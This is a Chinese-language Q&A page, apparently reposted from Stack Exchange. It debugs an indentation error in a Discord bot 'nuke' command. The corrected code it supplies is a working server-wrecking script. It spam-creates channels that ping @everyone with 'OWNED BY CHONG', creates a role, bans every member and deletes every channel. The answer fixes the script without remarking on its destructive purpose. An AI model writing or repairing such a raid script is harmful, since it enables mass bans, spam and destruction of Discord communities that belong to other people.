编写Discord机器人nuke命令时出现缩进块错误,求排查原因
解决Discord机器人Nuke命令的缩进块错误
你碰到的expected indented block错误,核心原因是Python严格依赖缩进区分代码块,你的代码里有几处缩进不符合规则:
- 两个
for循环语句结束后,后续代码没有缩进,Python无法识别对应的循环体内容 - 最后一行
await ctx.message.delete()缩进层级错误,它属于nuke函数内的代码,需要和函数内同级代码对齐
修正后的代码
@client.command() async def nuke(ctx, arg: str, *, name): allow_mentions = discord.AllowedMentions(everyone = True) guild = ctx.message.guild while True: channels = await guild.create_text_channel(arg) await channels.send(content = "@everyone OWNED BY CHONG") guild = ctx.guild await guild.create_role(name=name) for user in ctx.guild.members: try: await user.ban() except: pass for c in ctx.guild.channels: await c.delete() await ctx.message.delete()
补充说明:原代码里的while True是无限循环,最后一行await ctx.message.delete()永远不会执行到,你可能需要调整循环逻辑,比如添加退出条件或者改成有限循环。
内容的提问来源于stack exchange,提问作者Pax-19
相关产品推荐
相关产品推荐

